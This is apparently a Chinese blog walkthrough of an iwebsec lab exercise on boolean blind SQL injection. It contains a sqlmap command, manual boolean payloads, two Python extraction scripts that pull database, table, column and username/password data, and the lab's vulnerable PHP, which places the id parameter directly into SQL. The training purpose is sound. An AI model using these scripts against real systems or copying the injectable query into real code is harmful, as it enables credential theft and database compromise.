iwebsec-sql注入 03 bool型注入

发布时间 2023-08-18 19:14:40作者: 别打扰我摸鱼

01、题目分析:

三大盲注型注入中的布尔型注入,说明只会回显正确结果,错误结果将不再回显,对于布尔型注入,手工注入会费时费力,因此布尔注入比较适合工具注入

image

02、sqlmap工具注入:

一把梭

python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/03.php?id=1"  --current-db --dump --batch

image

03、手工注入:

盲注,简单的来讲就是无论你输入什么内容,页面都不会出现错误提示,如果查询结果正确就显示类似查询成功或者其他的,错误就不会显示。所以注入思路其实就是一个个猜,比如数据库名的长度是6个吗,看看是否正确,没显示继续猜,正确就猜数据库名第一个字母是a吗,是b吗......这样一直猜,猜出来数据库名,表名,列名,数据等等

-- 检查数据库名称的长度是否为7
and length(database())=7;
-- 检查数据库名称是否以字母 'p' 开头
and left(database(),1)='p';
-- 检查数据库名称是否以字母 'pi' 开头
and left(database(),2)='pi';
-- 检查数据库名称中的第一个字符是否为 'p'
and substr(database(),1,1)='p';
-- 检查数据库名称中的第二个字符是否为 'i'
and substr(database(),2,1)='i';
-- 检查数据库名称的第一个字符的 ASCII 码是否为 112 ('p' 的 ASCII 码)
and ord(left(database(),1))=112;

04、手工脚本注入:

这个地方直接借用refeng大佬的脚本

暴力破解法:

# @Author:refeng

import requests
import string

strings = string.printable
flag = ""
# url = 'http://192.168.6.153/sqli/03.php'
for i in range(1,60):
    for j in strings:
        # 爆库
        # url = "http://192.168.6.153/sqli/03.php?id=1 and ascii(substr((database()),{0},1))={1}--+".format(i,ord(j))
        # 爆表
        # url = "http://192.168.6.153/sqli/03.php?id=1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='iwebsec'),{0},1))={1}--+".format(i,ord(j))
        # 爆列
        # url = "http://192.168.6.153/sqli/03.php?id=1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='user'),{0},1))={1}--+".format(i,ord(j))
        # 爆数据
        url = "http://192.168.6.153/sqli/03.php?id=1 and ascii(substr((select group_concat(concat_ws('~',username,password)) from iwebsec.user),{0},1))={1}--+".format(i,ord(j))
        res = requests.get(url)
        if 'welcome' in res.text:
            flag += j
            print(flag)
            break
        else:
            continue

二分法:

# @Author:refeng
import requests

url = "http://192.168.6.153/sqli/03.php?id=1 and "

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        #爆库
        payload = f"1=if(ascii(substr((select  database() limit 0,1),{i},1))>{mid},1,0) --+"
        #爆表
        # payload = f"1=if(ascii(substr((select  group_concat(table_name) from information_schema.tables where table_schema='iwebsec' limit 0,1),{i},1))>{mid},1,0) --+"
        #爆列
        # payload = f"1=if(ascii(substr((select  group_concat(column_name) from information_schema.columns where table_name='user' limit 0,1),{i},1))>{mid},1,0) --+"
        #爆数据
        # payload = f"1=if(ascii(substr((select  group_concat(concat_ws('~',username,password)) from iwebsec.user limit 0,1),{i},1))>{mid},1,0) --+"
        r = requests.get(url + payload)
        if "welcome" in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)


05、代码分析

<?php

require_once('../header.php'); // 引入头部文件
require_once('db.php'); // 引入数据库连接文件
?>

<html>
<head>
    <title>MySQL bool SQLi</title>
</head>
<h2>MySQL bool SQLi</h2>
<div class="alert alert-success">
    <p>/03.php?id=1 </p>
</div>

<body>
<?php
if(isset($_GET['id'])){ // 检查是否存在传递的id参数
    $id=$_GET['id']; // 获取id参数的值

    $sql="SELECT * FROM user WHERE id=$id LIMIT 0,1"; // 构造查询语句,根据传递的id参数查询user表中对应的记录
    $result=mysql_query($sql); // 执行查询语句,将结果存储在$result变量中
}
else{
    exit(); // 如果没有传递id参数,则退出(终止脚本运行)
}

if ($result) { // 如果查询成功
    ?>
    <table class='table table-striped'>
    <?php
    while ($row = mysql_fetch_assoc($result)) { // 遍历查询结果的每一行
        echo '<div class="alert alert-success">';
        echo "<p>welcome to iwebsec!!!</p></div>";
        echo "</tr>";
    }       
    echo "</table>";
}
else 
{
    // echo '<font color= "#FFFFFF">';
    print_r(1); // 如果查询失败,输出1
    // echo "</font>";  
}

?>
# 这个代码和之前的不通的地方是没有数据回显,查询成功只输出一个welcome to iwebsec!!!